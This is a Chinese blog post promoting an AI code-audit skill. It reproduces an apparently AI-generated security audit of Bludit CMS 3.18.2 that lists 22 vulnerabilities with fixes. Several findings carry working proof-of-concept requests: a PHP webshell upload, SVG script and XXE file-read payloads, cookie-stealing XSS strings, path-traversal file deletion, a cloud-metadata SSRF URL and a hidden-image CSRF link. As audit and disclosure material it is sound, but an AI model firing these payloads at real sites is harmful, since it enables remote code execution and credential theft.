当前位置:首页>php>【AI工具】php-audit Skill — AI 驱动的 php代码审计skills

【AI工具】php-audit Skill — AI 驱动的 php代码审计skills

  • 2026-07-01 19:51:59
【AI工具】php-audit Skill — AI 驱动的 php代码审计skills
点击蓝字,关注大白哥AI与安全,一起探索AI与网络安全

      免责声明:本文技术、思路及工具仅用于合法安全测试与防御研究,严禁用于非法入侵、攻击他人系统、数据窃取等违法违规行为,一切后果由使用者自行承担,文章作者及公众号不担任何法律责任。如有侵权烦请告知,我们会立即删除并致歉。谢谢!

最近用AI全自动化审计了一个开源的cms网站,发现漏洞还挺多的, 跟大家分享一下

claude code提示词

使用php-audit对当前项目进行代码审计

如果师傅也想实操复现一遍, 后台回复20260627,免费获取源码和skills

对AI挖洞感兴趣的师傅, 可以点击链接查看大白哥AI挖洞课程介绍

大白哥《AI辅助漏洞挖掘实战课程》 开课了

Bludit 3.18.2 PHP代码安全审计报告

1. 项目概述

项目
信息
项目名称
Bludit CMS
项目版本
3.18.2
PHP版本
PHP 7.0+
框架/技术栈
PHP原生,无框架,JSON平面文件存储
数据存储
JSON文件(非SQL数据库)
审计日期
2026-06-25
审计范围
全量代码审计(OWASP Top 10 + 深度专项)

2. 执行摘要

Bludit 3.18.2 是一个基于PHP的轻量级平面文件CMS,使用JSON文件代替传统SQL数据库进行数据存储。本次审计覆盖了OWASP Top 10全部类别,并对SQL注入、命令注入、XSS、文件上传、SSRF、访问控制等进行了深度专项检查。

关键发现

  • 不存在SQL注入:项目完全不使用SQL数据库,无任何SQL操作函数
  • 不存在直接命令注入:未调用任何操作系统命令执行函数
  • 存在严重的API文件上传漏洞:可导致远程代码执行(RCE)
  • 存在大量XSS漏洞:系统架构采用"输入净化"而非"输出编码",且净化函数存在缺陷
  • 密码存储使用弱哈希算法:SHA1+弱随机盐
  • 多处访问控制缺陷:AJAX端点缺少角色检查、CSRF保护不完整

漏洞统计

严重程度
数量
严重(Critical)
2
高危(High)
7
中危(Medium)
8
低危(Low)
4
总计21

3. 技术栈分析

组件
技术
版本/说明
语言
PHP
7.0+
框架
原生PHP
数据库
JSON文件
bl-content/databases/*.php
前端
Bootstrap 4 + jQuery
管理后台
模板引擎
原生PHP
无Twig/Blade/Smarty
Web服务器
Apache
.htaccess
 URL重写
会话管理
PHP Session
HttpOnly + SameSite=Lax
密码哈希
SHA1
8字符随机盐(rand()生成)
CSRF保护
Token
openssl_random_pseudo_bytes(64)
API
REST Plugin
Token认证

4. 项目结构

bludit-3.18.2/├── index.php                    # 入口文件├── install.php                  # 安装脚本├── .htaccess                    # URL重写及目录保护├── bl-kernel/                   # 核心代码│   ├── boot/                    # 引导文件│   │   ├── init.php             # 初始化(DEBUG_MODE=TRUE)│   │   ├── admin.php            # 管理后台路由│   │   ├── site.php             # 前台路由│   │   ├── variables.php        # 全局变量定义│   │   └── rules/               # 安全规则│   │       ├── 60.plugins.php   # 插件加载│   │       └── 99.security.php  # CSRF验证│   ├── admin/                   # 管理后台│   │   ├── controllers/         # 控制器│   │   ├── views/               # 视图│   │   └── themes/booty/        # 后台主题│   ├── ajax/                    # AJAX处理器│   ├── abstract/                # 抽象类(dbJSON等)│   ├── helpers/                 # 辅助类│   │   ├── sanitize.class.php   # 输入过滤│   │   ├── text.class.php       # 文本处理│   │   ├── tcp.class.php        # HTTP请求│   │   └── filesystem.class.php # 文件操作│   ├── security.class.php       # 安全类│   ├── login.class.php          # 登录认证│   ├── users.class.php          # 用户管理│   ├── pages.class.php          # 页面管理│   └── functions.php            # 全局函数├── bl-plugins/                  # 插件目录│   ├── api/plugin.php           # REST API插件│   ├── about/plugin.php         # 关于插件│   ├── links/plugin.php         # 链接插件│   ├── disqus/plugin.php        # Disqus评论插件│   ├── html-code/plugin.php     # HTML代码插件│   └── remote-content/plugin.php # 远程内容插件├── bl-content/                  # 数据存储目录│   ├── databases/               # JSON数据库│   ├── uploads/                 # 上传文件│   ├── pages/                   # 页面内容│   └── tmp/                     # 临时文件└── bl-themes/                   # 前台主题

5. 安全架构核心缺陷

在详述漏洞之前,先总结Bludit安全架构中的系统性缺陷,这是多个漏洞的根本原因:

5.1 Sanitize::html() 使用 ENT_COMPAT 不转义单引号

文件bl-kernel/helpers/sanitize.class.php 第12行

$flags = ENT_COMPAT;  // 只转义双引号,不转义单引号 '

正确做法应使用 ENT_QUOTES。在JavaScript字符串使用单引号包裹的上下文中,攻击者可通过单引号逃逸注入代码。

5.2 "输入净化"而非"输出编码"

系统在存储时对数据做 htmlspecialchars() 编码,但输出时不做任何转义。这在前端JS使用 jQuery .html() / .append() 渲染时会被浏览器解码还原,使编码完全失效。

5.3 Bootstrap辅助类表单方法无输出转义

文件bl-kernel/admin/themes/booty/init.php

formInputText()(第263行)、formTextarea()(第190行)、formInputHidden()(第387行)等方法直接将 $value 拼接到HTML中,不做任何 htmlspecialchars() 编码。

5.4 密码哈希使用弱算法

文件bl-kernel/users.class.php 第158行

returnsha1($password . $salt);  // 应使用 password_hash()

盐值仅8字符,由 rand(0,41) 生成(bl-kernel/helpers/text.class.php:116-122),随机性极弱。


6. 漏洞详情


VUL-001: API任意文件上传缺失授权检查导致远程代码执行 (RCE)

项目
详情
漏洞编号
VUL-001
漏洞类型
A5失效的访问控制 + A1代码注入
严重程度
严重 (CVSS 9.8)
漏洞文件bl-plugins/api/plugin.php:204
 和 bl-plugins/api/plugin.php:732-765
前提条件
API插件已启用 + 拥有只读API Token

数据流分析

[$_POST + API Token(只读)] → [路由匹配 line 204: 无 $writePermissions 检查]→ [uploadFile($pageKey)] → [$_FILES['file']['name'] 无过滤]→ [PATH_UPLOADS_PAGES.$pageKey.DS.$filename 无路径验证]→ [Filesystem::mv() 直接写入] → [RCE: 上传.php文件并访问执行]

漏洞描述

API插件的 /api/files/<page-key> 端点(POST方法)在第204行缺失 $writePermissions 检查。对比其他写操作端点:

// 第146行 - PUT pages: 有 $writePermissions ✓elseif (($method === 'PUT') && ($parameters[0] === 'pages') && !empty($parameters[1]) && $writePermissions) {// 第151行 - DELETE pages: 有 $writePermissions ✓elseif (($method === 'DELETE') && ($parameters[0] === 'pages') && !empty($parameters[1]) && $writePermissions) {// 第156行 - POST pages: 有 $writePermissions ✓elseif (($method === 'POST') && ($parameters[0] === 'pages') && empty($parameters[1]) && $writePermissions) {// 第168行 - POST images: 有 $writePermissions ✓elseif (($method === 'POST') && ($parameters[0] === 'images') && $writePermissions) {// ❌ 第204行 - POST files: 缺失 $writePermissions!elseif (($method === 'POST') && ($parameters[0] === 'files') && !empty($parameters[1])) {

uploadFile() 方法(第732-765行)存在以下严重缺陷:

  1. 零文件类型验证 — 不检查扩展名,无白名单/黑名单
  2. 零文件名过滤 — 直接使用 $_FILES['file']['name']
  3. 零MIME类型检查 — 不验证Content-Type
  4. 零路径遍历防护 — $pageKey 和 $filename 均未经路径遍历检查
// plugin.php:748-751$filename = $_FILES['file']['name'];           // 用户完全控制$absolutePath = PATH_UPLOADS_PAGES . $pageKey . DS . $filename;  // 直接拼接Filesystem::mv($_FILES['file']['tmp_name'], $absolutePath);      // 直接写入

PoC请求

POST/api/files/test-pageHTTP/1.1Hosttarget.comContent-Typemultipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="token"[API只读Token - 在插件设置页面可见]------WebKitFormBoundary7MA4YWxkTrZu0gWContent-Disposition: form-data; name="file"; filename="shell.php"Content-Type: application/x-php<?phpsystem($_GET['cmd']); ?>------WebKitFormBoundary7MA4YWxkTrZu0gW--

复现步骤

  1. 获取API Token(插件设置页面可见,或通过信息泄露获取)
  2. 确定已存在的页面key(通过 GET /api/pages?token=xxx 获取)
  3. 发送上述POST请求上传PHP webshell
  4. 访问 http://target.com/bl-content/uploads/pages/test-page/shell.php?cmd=whoami
  5. 获得命令执行结果

漏洞复现

icon_hash="1130889066"
访问
https://target.com/bl-content/uploads/pages/blah/test.php

修复建议

// 修复1: 添加 $writePermissions 检查elseif (($method === 'POST') && ($parameters[0] === 'files') && !empty($parameters[1]) && $writePermissions) {// 修复2: 在 uploadFile() 中添加文件验证privatefunctionuploadFile($pageKey){// ... 现有检查 ...$filename = $_FILES['file']['name'];// 添加文件扩展名白名单$allowedExtensions = ['pdf''doc''docx''xls''xlsx''txt''zip''rar'];$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));if (!in_array($ext$allowedExtensions)) {returnarray('status' => '1''message' => 'File type not allowed.');    }// 过滤文件名$filename = basename($filename);// 验证 pageKey 防止路径遍历if (strpos($pageKey'..') !== false) {returnarray('status' => '1''message' => 'Invalid page key.');    }}

VUL-002: SVG文件上传存储型XSS/XXE

项目
详情
漏洞编号
VUL-002
漏洞类型
A7 XSS + A4 XXE
严重程度
严重 (CVSS 8.4)
漏洞文件bl-kernel/boot/variables.php:110-113
bl-kernel/ajax/upload-images.phpbl-kernel/functions.php:979bl-kernel/ajax/logo-upload.php
前提条件
需要后台登录(任何角色)

数据流分析

[管理后台上传SVG文件] → [upload-images.php 检查扩展名白名单]→ ['svg' 在白名单中 (variables.php:110)] → ['image/svg+xml' 在MIME白名单中 (variables.php:113)]→ [transformImage() (functions.php:979) 对SVG只创建符号链接,不检查内容]→ [SVG保存到 bl-content/uploads/,该目录不受.htaccess拒绝规则保护]→ [浏览器访问SVG → 执行其中的JavaScript代码]

漏洞描述

SVG扩展名和 image/svg+xml MIME类型均在白名单中:

// bl-kernel/boot/variables.php// 第110行define('ALLOWED_IMG_EXTENSION'array('gif','png','jpg','jpeg','svg','webp'));// 第113行define('ALLOWED_IMG_MIMES'array('image/gif','image/png','image/jpeg','image/svg+xml','image/webp'));

transformImage() 对SVG文件仅创建符号链接(第979-980行),不做任何内容检查或清理。SVG中的JavaScript代码原样保留。上传目录 bl-content/uploads/ 不在 .htaccess 拒绝规则中。

Logo上传(bl-kernel/ajax/logo-upload.php)同样允许SVG且不做内容过滤。

PoC请求

POST/admin/ajax/upload-imagesHTTP/1.1Hosttarget.comCookieBLUDIT-KEY=<session_cookie>Content-Typemultipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundaryContent-Disposition: form-data; name="tokenCSRF"<csrf_token_value>------WebKitFormBoundaryContent-Disposition: form-data; name="uuid"<page_uuid>------WebKitFormBoundaryContent-Disposition: form-data; name="images[]"; filename="xss.svg"Content-Type: image/svg+xml<?xml version="1.0" encoding="UTF-8"?><svgxmlns="http://www.w3.org/2000/svg"width="100"height="100"><scripttype="text/javascript">alert('XSS: ' + document.cookie);</script><rectwidth="100"height="100"fill="red"/></svg>------WebKitFormBoundary--

XXE变体PoC:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE svg [<!ENTITY xxeSYSTEM"file:///etc/passwd">]><svgxmlns="http://www.w3.org/2000/svg"><textx="0"y="20">&xxe;</text></svg>

复现步骤

  1. 登录后台,进入任意页面编辑
  2. 上传包含JavaScript的SVG文件
  3. 浏览器直接访问 http://target.com/bl-content/uploads/xss.svg
  4. JavaScript代码自动执行

修复建议

// 方案1: 从白名单中移除SVGdefine('ALLOWED_IMG_EXTENSION'array('gif','png','jpg','jpeg','webp'));// 方案2: 对SVG内容进行清理functionsanitizeSvg($filePath{$content = file_get_contents($filePath);// 移除 <script> 标签$content = preg_replace('/<script\b[^>]*>.*?<\/script>/is'''$content);// 移除事件处理器属性$content = preg_replace('/\bon\w+\s*=\s*["\'][^"\']*["\']/i'''$content);// 移除外部引用$content = preg_replace('/xlink:href\s*=\s*["\'](?!#)[^"\']*["\']/i'''$content);file_put_contents($filePath$content);}// 方案3: 设置Content-Disposition头强制下载header('Content-Disposition: attachment; filename="' . basename($file) . '"');

VUL-003: 标签名存储型XSS(绕过Sanitize::html()编码)

项目
详情
漏洞编号
VUL-003
漏洞类型
A7 存储型XSS
严重程度
高危 (CVSS 7.4)
漏洞文件bl-kernel/pages.class.php:62-67
bl-kernel/pages.class.php:796-811
前提条件
需要author及以上角色

数据流分析

[创建/编辑页面时设置标签] → [pages.class.php:62-67 tags字段走单独分支]→ [generateTags() 仅做 trim()+explode(','),无HTML编码]→ [标签名原样存储到JSON文件]→ [前台主题输出 echo $tagName (bl-themes/blogx/php/home.php:54)]→ [XSS执行]

漏洞描述

pages.class.php 第62-67行,当字段名为 tags 时走单独分支调用 generateTags()完全跳过了第83行的 Sanitize::html() 编码

// 第62-67行 -- tags跳过了编码if ($field == 'tags') {$tags = $args['tags'];$finalValue = $this->generateTags($tags);  // 不做html编码!}// 第82-83行 -- 其他字段有编码elseif (isset($args[$field])) {$finalValue = Sanitize::html($args[$field]);  // tags不走这里}

标签名也被 theme.class.php:144 的 metaTagTitle() 插入到 <title> 标签中,可用 </title><script>alert(1)</script> 触发。

PoC请求

POST/admin/new-contentHTTP/1.1Hosttarget.comCookieBLUDIT-KEY=<session_cookie>Content-Typeapplication/x-www-form-urlencodedtokenCSRF=<token>&title=TestPage&content=test&tags=<img src=x onerror=alert(document.cookie)>&type=published&uuid=test-page-123

复现步骤

  1. 登录后台(author/editor/admin角色均可)
  2. 创建新页面,在标签字段填入 <img src=x onerror=alert(document.cookie)>
  3. 发布页面
  4. 前台访问包含该标签的页面,XSS触发

修复建议

// 在 generateTags() 中对标签名做HTML编码privatefunctiongenerateTags($tags){$tmp = array();$list = explode(','$tags);foreach ($listas$tag) {$tag = trim($tag);$tag = Sanitize::html($tag);  // 添加编码if (!empty($tag)) {$tmp[] = $tag;        }    }return$tmp;}

VUL-004: Dashboard搜索功能DOM XSS

项目
详情
漏洞编号
VUL-004
漏洞类型
A7 DOM XSS
严重程度
高危 (CVSS 6.8)
漏洞文件bl-kernel/admin/views/dashboard.php:97-110
前提条件
攻击者需有创建页面权限(author/editor/admin)

数据流分析

[攻击者创建页面标题: <img src=x onerror=alert(1)>]→ [Sanitize::html() 编码存储: &lt;img src=x onerror=alert(1)&gt;]→ [clippy.php AJAX返回JSON: {"text": "&lt;img ...&gt;"}]→ [dashboard.php 第104行: resultHtml += item.text (直接拼接HTML字符串)]→ [第110行: searchResults.append(resultHtml) (jQuery解析HTML)]→ [浏览器将 &lt; 解码为 <,渲染为真实HTML标签]→ [onerror事件执行JavaScript → XSS]

漏洞描述

htmlspecialchars() 编码后的实体(如&lt;)在通过jQuery .append() 插入DOM时,会被浏览器HTML解析器解码还原为原始字符,使服务端编码完全失效。这是"输入净化"架构的典型失败案例。

PoC请求

POST/admin/new-contentHTTP/1.1Hosttarget.comCookieBLUDIT-KEY=<session_cookie>Content-Typeapplication/x-www-form-urlencodedtokenCSRF=<token>&title=<img src=x onerror=alert('DashboardXSS')>&content=test&type=published&uuid=xss-dash-123

复现步骤

  1. 用author账号创建标题包含XSS payload的页面
  2. 管理员登录后台Dashboard
  3. 在搜索框输入关键词触发搜索
  4. 搜索结果通过jQuery .append() 渲染时XSS触发

修复建议

// 使用 .text() 代替 HTML 拼接var resultItem = $('<a>').attr('href', item.url).text(item.text);searchResults.append(resultItem);

VUL-005: Select2父页面选择器DOM XSS

项目
详情
漏洞编号
VUL-005
漏洞类型
A7 DOM XSS
严重程度
高危 (CVSS 6.4)
漏洞文件bl-kernel/admin/views/edit-content.php:235-244
前提条件
攻击者需有创建页面权限

漏洞描述

Select2配置了 escapeMarkup: function(markup) { return markup; } 禁用了默认的HTML转义,且 templateResult 回调直接将 data.text(页面标题)拼接到HTML字符串中。与VUL-004相同的解码机制导致XSS。

修复建议

// 移除 escapeMarkup 覆盖,使用Select2默认的HTML转义$('#jsparent').select2({// 删除: escapeMarkup: function(markup) { return markup; }templateResultfunction(data) {// 使用文本节点而非HTML拼接return $('<span>').text(data.text);    }});

VUL-006: Dashboard欢迎消息用户昵称XSS(单引号逃逸)

项目
详情
漏洞编号
VUL-006
漏洞类型
A7 存储型XSS
严重程度
高危 (CVSS 6.4)
漏洞文件bl-kernel/admin/views/dashboard.php:26
前提条件
任何已登录角色

数据流分析

[用户设置昵称为: ');alert(document.cookie);//]→ [strip_tags() 不变(无HTML标签)]→ [Sanitize::html() 使用 ENT_COMPAT 不编码单引号,保持原样]→ [dashboard.php 第26行生成JavaScript:]   $("#hello-message").html('..., ');alert(document.cookie);//');→ [JavaScript执行 alert(document.cookie)]

PoC请求

POST/admin/edit-user/attackerHTTP/1.1Hosttarget.comCookieBLUDIT-KEY=<session_cookie>Content-Typeapplication/x-www-form-urlencodedtokenCSRF=<token>&username=attacker&nickname=');alert(document.cookie);//&email=test@test.com&role=author

复现步骤

  1. 登录任意账户
  2. 编辑个人资料,将昵称设置为 ');alert(document.cookie);//
  3. 访问Dashboard页面
  4. JavaScript执行,弹出cookie信息

修复建议

// 使用 json_encode 安全输出到JavaScript上下文<?php$nickname = json_encode($login->nickname(), JSON_HEX_APOS | JSON_HEX_QUOT);?><script>$("#hello-message").text(<?php echo$nickname; ?>);</script>

VUL-007: 分类名属性注入XSS

项目
详情
漏洞编号
VUL-007
漏洞类型
A7 存储型XSS
严重程度
高危 (CVSS 6.1)
漏洞文件bl-kernel/abstract/dblist.class.php:84
bl-kernel/admin/themes/booty/init.php:263
前提条件
需要admin角色

漏洞描述

分类名存储时仅用 strip_tags()(第84行),不做 htmlspecialchars() 编码。而Bootstrap的 formInputText() 输出 value="$value" 不做转义(第263行)。strip_tags() 不会移除引号字符。

PoC请求

POST/admin/new-categoryHTTP/1.1Hosttarget.comCookieBLUDIT-KEY=<session_cookie>Content-Typeapplication/x-www-form-urlencodedtokenCSRF=<token>&name=test" onfocus="alert(1)"autofocus="&description=test

复现步骤

  1. 管理员登录后台
  2. 创建新分类,名称填入 test" onfocus="alert(1)" autofocus="
  3. 访问编辑该分类的页面
  4. 页面渲染 <input value="test" onfocus="alert(1)" autofocus="">,XSS自动触发

修复建议

// dblist.class.php 第84行 - 增加htmlspecialchars$name = Sanitize::html($args['name']);// booty/init.php 第263行 - formInputText 中转义valueecho'<input value="' . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . '">';

VUL-008: AJAX端点缺少角色检查(垂直越权)

项目
详情
漏洞编号
VUL-008
漏洞类型
A5 失效的访问控制
严重程度
高危 (CVSS 7.5)
漏洞文件bl-kernel/boot/admin.php:43-55
前提条件
需要登录(任何角色)

漏洞描述

AJAX处理仅检查 $login->isLogged()(是否已登录),不检查用户角色:

if ($layout['slug']==='ajax') {if ($login->isLogged()) {include(PATH_RULES.'99.security.php');if (Sanitize::pathFile(PATH_AJAX, $layout['parameters'].'.php')) {include(PATH_AJAX.$layout['parameters'].'.php');        }    }}

低权限用户(editor、author)可以访问所有AJAX端点,包括:

端点
功能
风险
upload-images.php
上传图片
author可上传SVG实现XSS
delete-image.php
删除图片
author可删除任意页面图片
logo-upload.php
上传站点Logo
author可替换站点Logo
save-as-draft.php
保存内容
author可修改任意页面

唯一有角色检查的AJAX处理器是 profile-picture-upload.php(第14行 checkRole)。

PoC请求

POST/admin/ajax/logo-uploadHTTP/1.1Hosttarget.comCookieBLUDIT-KEY=<author_session_cookie>Content-Typemultipart/form-data; boundary=----WebKitFormBoundary------WebKitFormBoundaryContent-Disposition: form-data; name="tokenCSRF"<csrf_token>------WebKitFormBoundaryContent-Disposition: form-data; name="images[]"; filename="evil-logo.svg"Content-Type: image/svg+xml<svg xmlns="http://www.w3.org/2000/svg"><script>alert('Logo XSS')</script></svg>------WebKitFormBoundary--

修复建议

// 在每个敏感AJAX处理器开头添加角色检查// upload-images.phpcheckRole(array('admin''editor'));// delete-image.phpcheckRole(array('admin''editor'));// logo-upload.phpcheckRole(array('admin'));// 或在 admin.php 中添加统一的AJAX角色映射

VUL-009: delete-image.php 路径遍历(任意文件删除)

项目
详情
漏洞编号
VUL-009
漏洞类型
A5 失效的访问控制 / 路径遍历
严重程度
高危 (CVSS 7.1)
漏洞文件bl-kernel/ajax/delete-image.php
前提条件
需要登录(任何角色,因无角色检查)

漏洞描述

delete-image.php 的 $uuid 参数缺少路径遍历检查。对比 upload-images.php 第19行有 strpos($uuid, DS) 检查,delete-image.php 没有。$filename 参数同样未经检查。

攻击者可通过构造 ../ 路径删除上传目录之外的文件。

PoC请求

POST/admin/ajax/delete-imageHTTP/1.1Hosttarget.comCookieBLUDIT-KEY=<session_cookie>Content-Typeapplication/x-www-form-urlencodedtokenCSRF=<token>&uuid=../../databases&filename=site.php

修复建议

// 添加与 upload-images.php 相同的路径遍历检查if (strpos($uuid, DS) !== false) {ajaxResponse(1'Invalid UUID.');}if (strpos($filename, DS) !== false) {ajaxResponse(1'Invalid filename.');}

VUL-010: 密码存储使用弱哈希算法(SHA1)

项目
详情
漏洞编号
VUL-010
漏洞类型
A2 失效的身份认证
严重程度
中危 (CVSS 6.5)
漏洞文件bl-kernel/users.class.php:158
bl-kernel/helpers/text.class.php:116-122

漏洞描述

// users.class.php:158 - 使用SHA1而非bcrypt/argon2returnsha1($password . $salt);// text.class.php:116-122 - 使用不安全的rand()生成盐值publicstaticfunctionrandomText($length){$characteres = "0123456789abcdefghijklmnopqrstuvwxyz!@#\$%&";$randomString = '';for ($i = 0$i < $length$i++) {$randomString .= $characteres[rand(041)];  // rand() 可预测    }return$randomString;}

问题:

  1. SHA1是快速哈希,GPU暴力破解速度极快
  2. 盐值仅8字符,由可预测的 rand() 生成
  3. 最小密码长度仅6字符(PASSWORD_LENGTH=6
  4. Token比较使用 == 而非 hash_equals()(时序攻击)

修复建议

// 使用PHP内置的安全密码哈希$hash = password_hash($password, PASSWORD_BCRYPT);// 验证密码if (password_verify($password$storedHash)) { ... }// 使用安全随机数$salt = bin2hex(random_bytes(16));// Token比较使用时序安全函数if (hash_equals($storedToken$inputToken)) { ... }

VUL-011: 安装脚本使用弱随机数

项目
详情
漏洞编号
VUL-011
漏洞类型
A2 失效的身份认证
严重程度
中危 (CVSS 5.9)
漏洞文件install.php

漏洞描述

安装脚本存在多个安全问题:

  1. 弱随机数生成Auth Tokenmd5(uniqid().time().DOMAIN) — uniqid() 和 time() 均可预测
  2. Demo模式?demo=true 使用密码 demo123 安装 — 可能被遗留在生产环境
  3. 安装后未自动删除/锁定: 无安装锁文件机制,依赖 bl-content/databases/site.php 存在来判断是否已安装

修复建议

// 使用安全随机数生成Token$authToken = bin2hex(random_bytes(32));// 安装完成后创建锁文件file_put_contents(PATH_ROOT . '.installed'date('Y-m-d H:i:s'));

VUL-012: SSRF(服务端请求伪造)通过Remote Content插件

项目
详情
漏洞编号
VUL-012
漏洞类型
A1 SSRF
严重程度
中危 (CVSS 5.4)
漏洞文件bl-plugins/remote-content/plugin.php
bl-kernel/helpers/tcp.class.php
前提条件
需要admin权限配置插件

漏洞描述

Remote Content插件允许管理员配置远程URL下载ZIP并解压。tcp.class.php 的 http() 方法:

  1. 无协议白名单 — 未限制为http/https
  2. 无内网IP过滤 — 可访问 127.0.0.1169.254.169.254(云元数据)、内网CIDR
  3. 无URL验证 — 未检查DNS解析结果

filesystem.class.php 的 unzip() 方法(第222-229行)使用 ZipArchive::extractTo() 且不检查ZIP条目名是否包含 ../(Zip Slip漏洞)。

PoC请求

POST/admin/plugin-settings/pluginRemoteContentHTTP/1.1Hosttarget.comCookieBLUDIT-KEY=<admin_session_cookie>Content-Typeapplication/x-www-form-urlencodedtokenCSRF=<token>&source=http://169.254.169.254/latest/meta-data/iam/security-credentials/

修复建议

// 添加URL验证functionvalidateUrl($url{$parsed = parse_url($url);if (!in_array($parsed['scheme'], ['http''https'])) returnfalse;$ip = gethostbyname($parsed['host']);if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {returnfalse;    }returntrue;}// unzip() 添加Zip Slip防护foreach ($zipas$entry) {if (strpos($entry'..') !== false) {continue// 跳过包含路径遍历的条目    }}

VUL-013: CSRF保护不完整(GET请求绕过 + 插件/主题安装)

项目
详情
漏洞编号
VUL-013
漏洞类型
A5 失效的访问控制
严重程度
中危 (CVSS 5.4)
漏洞文件bl-kernel/boot/rules/99.security.php
bl-kernel/admin/controllers/install-plugin.phpbl-kernel/admin/controllers/install-theme.php

漏洞描述

  1. CSRF仅验证POST请求99.security.php 只检查 $_POST['tokenCSRF'],GET请求完全绕过CSRF保护
  2. 插件/主题安装通过GET触发install-plugin.php 和 install-theme.php 通过GET请求中的slug参数激活,无CSRF验证

PoC(诱骗管理员点击链接)

<imgsrc="http://target.com/admin/install-plugin/malicious-plugin"style="display:none">

修复建议

// 将插件/主题安装改为POST请求并验证CSRF Tokenif ($_SERVER['REQUEST_METHOD'] !== 'POST') {Redirect::page('plugins');}

VUL-014: about 插件 html_entity_decode 存储型XSS

项目
详情
漏洞编号
VUL-014
漏洞类型
A7 存储型XSS
严重程度
中危 (CVSS 5.4)
漏洞文件bl-plugins/about/plugin.php:41
前提条件
admin权限配置插件

漏洞描述

插件在 siteSidebar() 中使用 html_entity_decode() 对已编码内容解码后输出:

$html .= html_entity_decode($this->getValue('text'));

Sanitize::html() 在存储时的编码被 html_entity_decode() 完全逆转,恢复了原始的恶意HTML/JavaScript代码。

修复建议

// 直接输出已编码的值,不要解码$html .= $this->getValue('text');

VUL-015: links 插件 getValue(false) 存储型XSS

项目
详情
漏洞编号
VUL-015
漏洞类型
A7 存储型XSS
严重程度
中危 (CVSS 5.4)
漏洞文件bl-plugins/links/plugin.php:140-146
前提条件
admin权限配置插件

漏洞描述

getValue('jsondb', false) 传入 false 参数会调用 htmlDecode() 解码,链接URL和名称被还原后直接拼接到HTML中:

$json = $this->getValue('jsondb'false);  // false = 解码HTML实体// URL可设为 javascript:alert(1)$html .= '<a href="' . $link['url'] . '">' . $link['name'] . '</a>';

修复建议

$html .= '<a href="' . htmlspecialchars($link['url'], ENT_QUOTES) . '">'       . htmlspecialchars($link['name'], ENT_QUOTES) . '</a>';

VUL-016: API CORS配置过于宽松

项目
详情
漏洞编号
VUL-016
漏洞类型
A6 安全配置错误
严重程度
中危 (CVSS 5.3)
漏洞文件bl-plugins/api/plugin.php:297

漏洞描述

header('Access-Control-Allow-Origin: *');

允许任意域跨域调用API。配合有效API Token可跨域窃取所有页面、用户、设置数据。

修复建议

// 限制为特定域名$allowedOrigin = $site->url();header('Access-Control-Allow-Origin: ' . $allowedOrigin);

VUL-017: new-category.php 反射型XSS

项目
详情
漏洞编号
VUL-017
漏洞类型
A7 反射型XSS
严重程度
中危 (CVSS 5.4)
漏洞文件bl-kernel/admin/views/new-category.php:22,31
前提条件
admin权限 + CSRF Token

漏洞描述

$_POST['category'] 和 $_POST['description'] 在表单验证失败回显时直接传入Bootstrap表单方法,无任何转义。在textarea上下文中,payload </textarea><script>alert(1)</script> 可逃逸标签。


VUL-018: new-user.php 反射型XSS

项目
详情
漏洞编号
VUL-018
漏洞类型
A7 反射型XSS
严重程度
中危 (CVSS 5.4)
漏洞文件bl-kernel/admin/views/new-user.php:22,60
前提条件
admin权限 + CSRF Token

漏洞描述

与VUL-017相同模式,$_POST['new_username'] 和 $_POST['email'] 未转义回显到表单中。


VUL-019: DEBUG_MODE硬编码为TRUE

项目
详情
漏洞编号
VUL-019
漏洞类型
A3 敏感数据泄露 / A6 安全配置错误
严重程度
低危 (CVSS 3.7)
漏洞文件bl-kernel/boot/init.php:10

漏洞描述

define('DEBUG_MODE'TRUE);  // 硬编码,生产环境应为FALSE

调试模式开启可能导致详细错误信息泄露给用户,暴露内部路径、数据库结构等敏感信息。开发者页面(developers.php)暴露 $_SERVERini_get_all()、已加载扩展等信息。

修复建议

define('DEBUG_MODE'FALSE);

VUL-020: Session指纹仅基于User-Agent

项目
详情
漏洞编号
VUL-020
漏洞类型
A2 失效的身份认证
严重程度
低危 (CVSS 3.1)
漏洞文件bl-kernel/login.class.php

漏洞描述

Session指纹仅基于 SHA1(User-Agent)。如果攻击者窃取了Session ID(如通过XSS),只需使用相同的User-Agent即可劫持会话。

修复建议

// 增加IP绑定$fingerprint = sha1($_SERVER['HTTP_USER_AGENT'] . $_SERVER['REMOTE_ADDR']);

VUL-021: 插件/主题Metadata存储型XSS(供应链攻击)

项目
详情
漏洞编号
VUL-021
漏洞类型
A7 存储型XSS / A9 已知漏洞组件
严重程度
低危 (CVSS 3.7)
漏洞文件bl-kernel/admin/views/plugins.php:54,64,68,72

漏洞描述

插件和主题的 metadata.json 中的 namedescriptionauthorwebsite 字段不经HTML转义直接输出。恶意插件可通过供应链攻击注入XSS。website 字段被放入 href 属性,可注入 javascript: 协议。

修复建议

echohtmlspecialchars($plugin->name(), ENT_QUOTES, 'UTF-8');echo'<a href="' . htmlspecialchars($plugin->website(), ENT_QUOTES) . '">';

VUL-022(附录): Disqus插件单引号注入

项目
详情
漏洞编号
VUL-022
漏洞类型
A7 存储型XSS
严重程度
低危 (CVSS 2.4)
漏洞文件bl-plugins/disqus/plugin.php:88-102
前提条件
admin权限配置

漏洞描述

由于 ENT_COMPAT 不编码单引号,Disqus shortname中的单引号可逃逸JavaScript字符串。需管理员权限配置,实际利用场景有限。


7. SQL注入专项结论

为什么不存在SQL注入

Bludit CMS 完全不使用SQL数据库。数据存储机制如下:

数据类型
存储方式
存储路径
页面内容
JSON文件
bl-content/pages/*/index.txt
用户数据
JSON文件
bl-content/databases/users.php
站点设置
JSON文件
bl-content/databases/site.php
标签/分类
JSON文件
bl-content/databases/tags.php
 / categories.php
插件配置
JSON文件
bl-content/databases/plugins/*/db.php
安全数据
JSON文件
bl-content/databases/security.php

搜索整个项目,未找到任何SQL相关函数mysql_querymysqli_queryPDO::querypg_querysqlite_queryDB::selectDB::raw 等均无匹配。


8. 命令注入专项结论

直接命令注入:不存在

函数
搜索结果
可利用性
exec()
仅 curl_exec()(cURL库函数)
shell_exec()
无匹配
N/A
system()
无匹配
N/A
passthru()
无匹配
N/A
popen()
无匹配
N/A
proc_open()
